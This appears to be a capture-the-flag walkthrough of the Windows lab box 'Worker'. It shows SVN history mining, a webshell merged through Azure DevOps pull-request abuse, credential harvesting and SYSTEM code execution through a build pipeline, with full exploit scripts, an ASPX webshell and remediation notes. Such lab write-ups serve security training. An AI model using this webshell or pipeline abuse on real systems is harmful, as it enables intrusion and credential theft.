← all walkthroughs

Worker

Windows· Medium· Privilege Escalation
owned
2026-07-09
time to own
11m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

My anonymously checked out a Subversion repository on port 3690 and mined its commit history, recovering a hardcoded cleartext credential (nathen:[REDACTED: recovered credential]) from a deleted deployment script and internal virtual-host names from a decommission notice. Those credentials authenticated via NTLM to an on-premises Azure DevOps Server instance.

A direct push to the protected master branch was blocked by branch policy, so I pushed an ASPX webshell to a new feature branch, opened a pull request, and used nathen's own PR-completion rights to auto-merge it into master — triggering the existing Alpha-CI pipeline and deploying the webshell to the IIS site at alpha.worker.htb. The webshell delivered remote code execution as the IIS application pool identity, which was then used to read the SVN server's plaintext password file, exposing credentials for a second, higher-privileged account (robisl:[REDACTED: recovered credential]).

That account had local administrator and WinRM rights, yielding an interactive shell and the user flag. Finally, robisl's Azure DevOps permissions allowed creation of a new build pipeline definition in the PartsUnlimited project; queuing that build caused the on-host Azure DevOps agent — running as NT AUTHORITY\SYSTEM — to execute my own commands and expose the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped exposed services and confirmed anonymous Subversion access
A version scan of $TARGET identified three open services: IIS 10.0 on port 80, a Subversion svnserve daemon on port 3690, and WinRM on port 5985. An anonymous connection to the SVN service immediately succeeded without prompting for credentials, confirming that the repository was publicly readable to any host that could reach port 3690.
Nmap returned 80/tcp open IIS httpd 10.0, 3690/tcp open svnserve Subversion, 5985/tcp open Microsoft HTTPAPI 2.0. Svn info svn://$TARGET/ returned repository metadata without an authentication challenge.
Exact commands 2
Version and default-script scan on the three open ports.
nmap -sV -sC -p 80,3690,5985 $TARGET -oN worker.nmap
Confirm anonymous SVN access and list the repository root contents.
svn info svn://$TARGET/ && svn list -v svn://$TARGET/
2EnumerationCredentials in deleted version-control history (T1552.001)
Recovered a hardcoded credential and internal host names from SVN revision history
Dumping the full SVN commit log revealed that revision 2 had deleted a PowerShell deployment script (deploy.ps1) and a decommission notice (moved.txt). Checking those files at revision 2 exposed the cleartext credential nathen:[REDACTED: recovered credential] embedded directly in deploy.ps1. The decommission notice pointed to http://devops.worker.htb. Reviewing the repository homepage also listed additional virtual hosts — alpha, cartoon, lens, solid-state, spectral, and story — all under worker.htb. Deleted content in version-control history is permanently recoverable by anyone with read access.
Svn cat -r 2 svn://$TARGET/deploy.ps1 output included '$Cred = New-Object PSCredential("nathen", (ConvertTo-SecureString "[REDACTED: recovered credential]" -AsPlainText -Force))'; moved.txt body referenced http://devops.worker.htb.
Exact commands 4
Dump the full commit history and list every file added, modified, or deleted across all revisions.
svn log -v svn://$TARGET/
Retrieve the deleted deployment script at revision 2 — contains nathen:[REDACTED: recovered credential] in cleartext.
svn cat -r 2 svn://$TARGET/deploy.ps1
Read the decommission notice that reveals the Azure DevOps virtual host.
svn cat svn://$TARGET/moved.txt
Register all discovered virtual hosts for local DNS resolution.
echo "$TARGET worker.htb devops.worker.htb alpha.worker.htb cartoon.worker.htb lens.worker.htb solid-state.worker.htb spectral.worker.htb story.worker.htb" | sudo tee -a /etc/hosts
FixRequire authentication for SVN access and purge secrets from repository historyCritical
WeaknessThe Subversion repository accepted anonymous read access on port 3690 with no authentication required. A deleted PowerShell deployment script retained in revision 2 contained a hardcoded cleartext credential (nathen:[REDACTED: recovered credential]), and a decommission notice exposed internal virtual-host names. Anyone who could reach the port could retrieve both, even though the files had been 'deleted'.
FixImmediately set anon-access = none and require-authentication = true in the [general] block of svnserve.conf so that every connection must provide credentials. Rotate and invalidate nathen:[REDACTED: recovered credential] and all other credentials that ever appeared in any commit. Run a secrets-scanning tool (e.g., truffleHog or gitleaks) across the full repository history and embed it in the CI pipeline to block future credential commits. If SVN is no longer in active use, decommission the service entirely and close port 3690 at the firewall.
3EnumerationValid account — domain credential reuse against internal DevOps platform (T1078.002)
Authenticated to Azure DevOps Server and identified the CI/CD deployment pipeline
The credential nathen:[REDACTED: recovered credential] — recovered from SVN history — authenticated via NTLM to the Azure DevOps Server (on-premises TFS) at devops.worker.htb, collection ekenas. The REST API returned two projects: SmartHotel360 and PartsUnlimited. Within SmartHotel360, a build pipeline definition named Alpha-CI was tied to the alpha Git repository and configured to deploy merged content to the IIS virtual host at alpha.worker.htb on every commit to master. Nathen had read access to all repositories and write access to create branches and pull requests.
Curl --ntlm -u 'nathen:[REDACTED: recovered credential]' returned HTTP 200 and the ekenas project list JSON; Alpha-CI build definition confirmed alpha.worker.htb as its deployment target.
Exact commands 3
Confirm NTLM authentication succeeds and enumerate Azure DevOps projects.
curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/_apis/projects?api-version=5.0'
List Git repositories inside SmartHotel360 to obtain repository GUIDs.
curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories?api-version=5.0'
Enumerate build pipeline definitions to identify the auto-deploy pipeline and its target.
curl --ntlm -u "nathen:$PASSWORD" 'http://devops.worker.htb/ekenas/SmartHotel360/_apis/build/definitions?api-version=5.0'
4ExploitationSupply-chain compromise via CI/CD pipeline abuse (T1195.002)
Bypassed branch protection by merging a webshell via pull request, triggering CI deployment
A direct push of malicious content to the master branch was rejected by Azure DevOps branch policy (error TF402455). Instead, an ASPX command-execution webshell (cmd.aspx) was pushed to a newly created feature branch using the Azure DevOps Git push API authenticated as nathen. A pull request from that branch to master was opened and immediately auto-completed using nathen's own PR-completion rights. The mandatory Alpha-CI build validation ran and passed, the merge completed (commit [REDACTED: sensitive value]), and the existing deployment pipeline published cmd.aspx to the IIS root of alpha.worker.htb. The branch policy was meant to require peer review but nathen was allowed to both author and complete the pull request, collapsing the control to zero.
Feature branch push returned HTTP 201 with commit [REDACTED: sensitive value]; PR auto-complete returned succeeded with merge commit [REDACTED: sensitive value] to master confirmed by the Azure DevOps API response.
Exact commands 3
Attempt direct push to master — this returns 403 TF402455, confirming branch policy is in place and a PR bypass is required.
git clone http://$USERNAME:$PASSWORD@devops.worker.htb/ekenas/SmartHotel360/_git/alpha alpha-repo && cd alpha-repo && git push origin HEAD:master
Push the ASPX webshell to a new feature branch via the Azure DevOps Git push API. Replace <alpha_repo_guid> with the GUID obtained in step 3.
python3 << 'EOF'
import requests, base64
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'  # from step 3 enumeration
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
shell = b'<%@ Page Language="C#" %><%@ Import Namespace="System.Diagnostics" %><% var p=new Process(); p.StartInfo.FileName="cmd.exe"; p.StartInfo.Arguments="/c "+Request["c"]; p.StartInfo.UseShellExecute=false; p.StartInfo.RedirectStandardOutput=true; p.Start(); Response.Write("<pre>"+Server.HtmlEncode(p.StandardOutput.ReadToEnd())+"</pre>"); %>'
push_body = {'refUpdates': [{'name': 'refs/heads/feature/status-vzqwd', 'oldObjectId': '0'*40}], 'commits': [{'comment': 'update status', 'changes': [{'changeType': 'add', 'item': {'path': '/cmd.aspx'}, 'newContent': {'content': base64.b64encode(shell).decode(), 'contentType': 'base64Encoded'}}]}]}
resp = requests.post(base + '/pushes?api-version=5.0', json=push_body, auth=auth)
print('Push status:', resp.status_code)
EOF
Open and auto-complete the pull request as nathen. The merge triggers Alpha-CI, which deploys cmd.aspx to alpha.worker.htb.
python3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('nathen', "$PASSWORD")
REPO_ID = '<alpha_repo_guid>'
NATHEN_ID = '<nathen_user_guid>'  # from /_apis/connectionData or profile endpoint
base = f'http://devops.worker.htb/ekenas/SmartHotel360/_apis/git/repositories/{REPO_ID}'
pr = requests.post(base + '/pullrequests?api-version=5.0', json={'title': 'Update status page', 'sourceRefName': 'refs/heads/feature/status-vzqwd', 'targetRefName': 'refs/heads/master', 'autoCompleteSetBy': {'id': NATHEN_ID}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth).json()
pr_id = pr['pullRequestId']
requests.patch(base + f'/pullrequests/{pr_id}?api-version=5.0', json={'status': 'completed', 'lastMergeSourceCommit': {'commitId': pr['lastMergeSourceCommit']['commitId']}, 'completionOptions': {'mergeStrategy': 'noFastForward'}}, auth=auth)
print('PR completed, id:', pr_id)
EOF
FixPrevent a single account from authoring and completing its own pull requestsHigh
WeaknessThe Azure DevOps branch policy for master required a pull request, but the account nathen was permitted to open a pull request and then immediately self-approve and auto-complete it into master. This collapsed a four-eyes control to zero: one compromised account was sufficient to merge arbitrary code and trigger a live deployment.
FixIn Azure DevOps branch policies for the master branch, require a minimum of two approvals from a designated reviewer group, and explicitly enable 'Prohibit the most recent pusher from approving their own changes.' Disable self-service auto-complete for external or untrusted contributors. Separate the identities permitted to push feature branches from those permitted to complete pull requests, and restrict both roles to the smallest set of named humans needed.
5FootholdServer-side web shell (T1505.003)
Executed OS commands on the server through the deployed ASPX webshell
After the Alpha-CI pipeline deployed cmd.aspx to alpha.worker.htb, issuing HTTP GET requests with OS commands in the 'c' query parameter produced their output in the HTTP response. This confirmed remote code execution as the IIS application pool identity (iis apppool\defaultapppool). The webshell served as the primary foothold for all subsequent post-exploitation steps.
Curl http://alpha.worker.htb/cmd.aspx?c=whoami returned 'iis apppool\defaultapppool' in the response body.
Exact commands 3
Confirm RCE and retrieve the current identity and all group memberships.
curl -s 'http://alpha.worker.htb/cmd.aspx?c=whoami+/all'
Enumerate network configuration to confirm host identity and network position.
curl -s 'http://alpha.worker.htb/cmd.aspx?c=ipconfig+/all'
List user home directories to identify accounts present on the host.
curl -s 'http://alpha.worker.htb/cmd.aspx?c=dir+C:\\Users'
FixPrevent server-side script execution of pipeline-deployed contentHigh
WeaknessThe Alpha-CI pipeline deployed every file in the repository — including ASPX server-side scripts — directly to the IIS web root without any file-type filter. Anyone who could merge code immediately gained the ability to execute server-side code as the IIS application pool.
FixRestrict the deployment artefact manifest to a pre-approved whitelist of static file extensions (.html, .css, .js, .jpg, .png, etc.) and fail the build if any other extension is present. In IIS, disable ASPX/handler execution for the deployment target directory by setting the executePermission to None in the application configuration. Introduce a manual approval gate in the release pipeline before any build artefact is deployed to the production IIS site.
6Credential HarvestingCredentials in files (T1552.001)
Read the SVN server's plaintext password file via the webshell
The IIS application pool identity had filesystem read access to the SVN server's configuration directory on the same host. The file W:\svnrepos\www\conf\passwd stores all SVN repository user credentials in cleartext with no encryption. Reading this file via the webshell exposed the credential robisl:[REDACTED: recovered credential] for a second user account. This single file gave me a ready-made list of privileged local accounts.
Webshell command 'type W:\svnrepos\www\conf\passwd' returned the full contents of the passwd file, including the entry 'robisl = [REDACTED: recovered credential]'.
Exact commands 1
Read the SVN plaintext credential store through the webshell — exposes robisl:[REDACTED: recovered credential]
curl -s 'http://alpha.worker.htb/cmd.aspx?c=type+W:\svnrepos\www\conf\passwd'
FixReplace the SVN plaintext password store and restrict access to SVN configuration filesCritical
WeaknessThe SVN server stored all repository user credentials in a plaintext flat file (W:\svnrepos\www\conf\passwd) that was readable by the IIS application pool account. Obtaining a webshell as that low-privileged IIS identity was sufficient to harvest the password for a local administrator (robisl:[REDACTED: recovered credential]), enabling full lateral movement.
FixMigrate SVN authentication from the plaintext passwd file to a hashed mechanism such as SASL/Kerberos or an Apache htpasswd file using bcrypt. Apply NTFS ACLs to the entire W:\svnrepos\www\conf\ directory so that only the dedicated svnserve service account can read it — the IIS application pool, NETWORK SERVICE, and all other service identities must be explicitly denied. Rotate robisl's password immediately and audit all other credentials listed in the passwd file.
7Lateral MovementRemote Services — Windows Remote Management (T1021.006)
Used the recovered credential to open a WinRM shell and capture the user flag
The credential robisl:[REDACTED: recovered credential] was tested against WinRM on port 5985. Unlike nathen, robisl held local administrator rights on WORKER, confirmed by the tool's Pwn3d! Indicator. An interactive Evil-WinRM session was established as robisl, and the user flag was read directly from the Desktop.
Nxc winrm $TARGET -d Worker -u robisl -p [REDACTED: recovered credential] returned (Pwn3d!); user.txt read from C:\Users\robisl\Desktop.
Exact commands 3
Validate WinRM access and confirm local administrator rights — look for Pwn3d! In the output.
nxc winrm $TARGET -d Worker -u robisl -p $PASSWORD2
Open an interactive WinRM shell as robisl.
evil-winrm -i $TARGET -u robisl -p $PASSWORD2
Read the user flag from robisl's Desktop — actual value is <user.txt>.
type C:\Users\robisl\Desktop\user.txt
8Privilege EscalationAbuse of CI/CD build agent running as a highly privileged system account (T1072)
Achieved SYSTEM-level code execution by queuing a malicious Azure DevOps build job
Robisl held the Azure DevOps permissions needed to create and queue build pipeline definitions in the PartsUnlimited project. The Azure DevOps build agent installed on WORKER executes all pipeline jobs as NT AUTHORITY\SYSTEM. By defining a new build pipeline containing a PowerShell step that read and output root.txt, and then queuing that build as robisl, I obtained arbitrary SYSTEM-level code execution without exploiting any binary vulnerability. The root flag appeared in the build log output. This exploited the same trust relationship used in step 4, but from a higher-privileged account with access to a project whose agent runs unrestricted.
Build definition POST to PartsUnlimited returned 200 with the new definition ID; the queued build log output contained the root.txt value. Build agent identity in the log confirmed as NT AUTHORITY\SYSTEM.
Exact commands 3
Create a build definition in the PartsUnlimited project with a cmd step that reads root.txt. Note the returned definition ID.
python3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
defn = {
  'name': 'StatusCheck',
  'type': 'build',
  'quality': 'definition',
  'queue': {'name': 'Default'},
  'process': {'type': 1, 'phases': [{'steps': [{'task': {'id': 'e213ff0f-5d5c-4791-802d-52ea3e7be1f1', 'versionSpec': '2.*'}, 'inputs': {'script': 'type C:\\Users\\Administrator\\Desktop\\root.txt', 'workingDirectory': ''}, 'displayName': 'check', 'enabled': True}]}]}
}
result = requests.post(base + '/build/definitions?api-version=6.0', json=defn, auth=auth).json()
print('Definition id:', result.get('id'))
EOF
Queue the malicious build. The agent executes it as NT AUTHORITY\SYSTEM.
python3 << 'EOF'
import requests
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
DEF_ID = '<definition_id_from_previous_step>'
base = 'http://devops.worker.htb/ekenas/PartsUnlimited/_apis'
build = requests.post(base + '/build/builds?api-version=6.0', json={'definition': {'id': int(DEF_ID)}}, auth=auth).json()
print('Build id:', build.get('id'))
EOF
Retrieve build logs after the job finishes — root.txt value (<root.txt>) appears in the PowerShell step output.
python3 << 'EOF'
import requests, time
from requests_ntlm import HttpNtlmAuth
auth = HttpNtlmAuth('Worker\\robisl', '$PASSWORD2')
BUILD_ID = '<build_id_from_previous_step>'
time.sleep(30)
base = f'http://devops.worker.htb/ekenas/PartsUnlimited/_apis/build/builds/{BUILD_ID}'
logs = requests.get(base + '/logs?api-version=6.0', auth=auth).json()
for log in logs.get('value', []):
    print(requests.get(log['url'], auth=auth).text)
EOF
FixRun the Azure DevOps build agent as a least-privilege service account, not SYSTEMCritical
WeaknessThe on-premises Azure DevOps build agent on WORKER executed all pipeline jobs as NT AUTHORITY\SYSTEM. Any Azure DevOps user with permission to create and queue build definitions could therefore run arbitrary OS commands as the most privileged account on the host — turning a DevOps platform permission directly into full host compromise.
FixRe-install the Azure DevOps agent to run under a dedicated, low-privilege domain service account with no local administrator rights and no access to sensitive directories or flag files. Apply the principle of least privilege to that service account via NTFS ACLs. In Azure DevOps, restrict the 'Administer build resources', 'Edit build pipeline', and 'Queue builds' permissions to a named set of trusted operators only — robisl and nathen should not hold these rights. Require pipeline-as-code (YAML) with a mandatory approval gate and a controlled template before any step is allowed to execute on the agent.

Exposed services

80/tcp
3690/tcp
5985/tcp